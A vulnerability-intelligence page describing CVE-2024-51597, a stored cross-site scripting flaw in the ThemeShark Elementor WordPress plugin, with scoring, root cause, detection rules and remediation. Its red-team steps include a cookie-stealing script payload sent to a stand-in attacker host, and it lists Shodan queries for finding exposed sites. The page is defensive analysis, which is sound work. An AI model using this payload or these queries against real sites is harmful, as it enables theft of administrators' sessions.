☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Brandevolutionco logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 6.5 CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-51597

CVE-2024-51597 Cross-Site Scripting in Brandevolutionco
📅 PUBLISHED: 2024-11-09 15:15 UTC 🔄 UPDATED: 2026-08-12 14:52 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.14%
👁️
0.14% probability
3.6× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1059.007
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Estonia License: Freemium
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.5
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: L Availability Low
6.5
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-51597 is a Stored Cross-Site Scripting (XSS) vulnerability in the WordPress plugin "ThemeShark Templates & Widgets for Elementor" (themeshark-elementor), developed by Brandevolutionco. The vulnerability affects all versions up to and including 1.1.7. An authenticated attacker with contributor-level privileges or higher can inject malicious JavaScript into the plugin's templates or widgets. When an administrator or other user views the compromised page, the script executes in their browser, potentially leading to session hijacking, credential theft, or defacement. The CVSS v3.1 score is 6.5 (Medium), with a vector emphasizing low attack complexity, required privileges, and user interaction. No public exploit code or patch is currently available, making proactive detection and mitigation critical.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability resides in a WordPress plugin ecosystem. The plugin is distributed via the official WordPress plugin repository and third-party marketplaces. Users should verify the integrity of their plugin files by comparing checksums against the official repository. No known supply chain compromise has been reported, but the lack of a patch increases the risk of malicious actors distributing modified versions.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
  • Base Score: 6.5 (Medium)
  • Attack Vector (AV): Network (N) – Exploitable remotely.
  • Attack Complexity (AC): Low (L) – No special conditions required.
  • Privileges Required (PR): Low (L) – Attacker needs contributor-level access.
  • User Interaction (UI): Required (R) – Victim must view the compromised page.
  • Scope (S): Changed (C) – Impact extends beyond the vulnerable component.
  • Confidentiality (C): Low (L) – Limited data exposure.
  • Integrity (I): Low (L) – Limited data modification.
  • Availability (A): Low (L) – Limited service disruption.

Threat Level: Medium. Exploitation requires authenticated access, but the stored XSS can persist and affect multiple users, including administrators.

Deep Dive & Mechanics

The vulnerability stems from improper neutralization of user-supplied input in the themeshark-elementor plugin. The plugin likely fails to sanitize or escape data when rendering Elementor widgets or templates. An attacker with contributor-level access can inject malicious JavaScript into fields such as widget titles, descriptions, or custom CSS. When the page is loaded by another user (including admins), the injected script executes in the context of the victim's session.

Root Cause: The plugin does not apply WordPress's built-in escaping functions (e.g., esc_html(), esc_attr(), wp_kses_post()) to user-controllable output within Elementor templates.

Attack Flow:

  1. Attacker logs in with contributor privileges.
  2. Attacker creates or edits an Elementor template/widget.
  3. Attacker injects a payload like <script>alert('XSS')</script> into a vulnerable field.
  4. The payload is stored in the database.
  5. Administrator or other user views the page containing the template.
  6. The script executes, performing actions like stealing cookies or redirecting to a malicious site.

Vulnerable vs. Patched Code

Since no patch is available, the following illustrates the vulnerable pattern and a hypothetical fix.

Vulnerable Code (PHP):

// In a widget render method
echo $settings['widget_title']; // No escaping

Patched Code (Hypothetical):

// In a widget render method
echo esc_html( $settings['widget_title'] ); // Properly escaped

Explanation: The vulnerable code directly outputs user input without sanitization. The patched version uses esc_html() to convert special characters to HTML entities, preventing script execution.

Exploitation & Lab Setup

Red Team

Prerequisites:

  • WordPress instance with themeshark-elementor <= 1.1.7 installed.
  • Contributor-level account credentials.

Steps:

  1. Log in as a contributor.
  2. Navigate to Elementor > Templates.
  3. Create a new template (e.g., "Single Post").
  4. Add a vulnerable widget (e.g., "Heading" or "Text").
  5. In the widget's title field, inject the payload:
    <script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>
    
  6. Save and publish the template.
  7. Wait for an administrator to view the page.

Expected Outcome: The admin's session cookie is exfiltrated to the attacker's server.

Blue Team

Detection:

  • Monitor for unusual JavaScript in Elementor template fields.
  • Use Web Application Firewall (WAF) rules to block common XSS patterns.
  • Review user activity logs for suspicious template edits.

Hunting:

  • Search the database for <script> tags in wp_postmeta where meta_key contains _elementor_data.
  • Query: SELECT * FROM wp_postmeta WHERE meta_key LIKE '%_elementor_data%' AND meta_value LIKE '%<script>%';

Indicators of Compromise (IOCs)

  • File Indicators:
    • Modified plugin files in /wp-content/plugins/themeshark-elementor/
    • Suspicious JavaScript in database wp_postmeta entries.
  • Network Indicators:
    • Outbound HTTP requests to unknown domains containing cookie data.
    • Referer headers from WordPress admin pages.
  • Behavioral Indicators:
    • Unauthorized template edits by low-privilege users.
    • Unexpected redirects or pop-ups in admin dashboard.

Detection Engineering

YARA Rule

rule wordpress_themeshark_xss {
    meta:
        description = "Detects stored XSS payloads in ThemeShark Elementor plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-51597"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/is
        $plugin_path = "themeshark-elementor"
    condition:
        $plugin_path and $xss_payload
}

Sigma Rule

title: Stored XSS in ThemeShark Elementor Plugin
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects stored XSS attempts via Elementor template fields
author: Valters IT
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.url|contains: "/wp-admin/admin-ajax.php"
        http.body|contains: "elementor"
        http.body|contains: "<script>"
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in templates (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-51597 Stored XSS in ThemeShark Elementor"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"elementor"; http_client_body; content:"<script>"; within:100; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the plugin until a patch is released.
  2. Restrict contributor roles to trusted users only.
  3. Implement Content Security Policy (CSP) headers to block inline scripts.

Long-term Fix:

  • Monitor the plugin's official page for updates.
  • Apply the patch as soon as it becomes available.
  • Consider replacing the plugin with a more secure alternative.

Workaround:

  • Use a WAF to filter XSS payloads in POST requests to admin-ajax.php.
  • Manually audit and sanitize all Elementor template data in the database.

Valters IT

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.html:"wp-content/plugins/themeshark-elementor"
http.html:"themeshark-elementor"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-51597/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.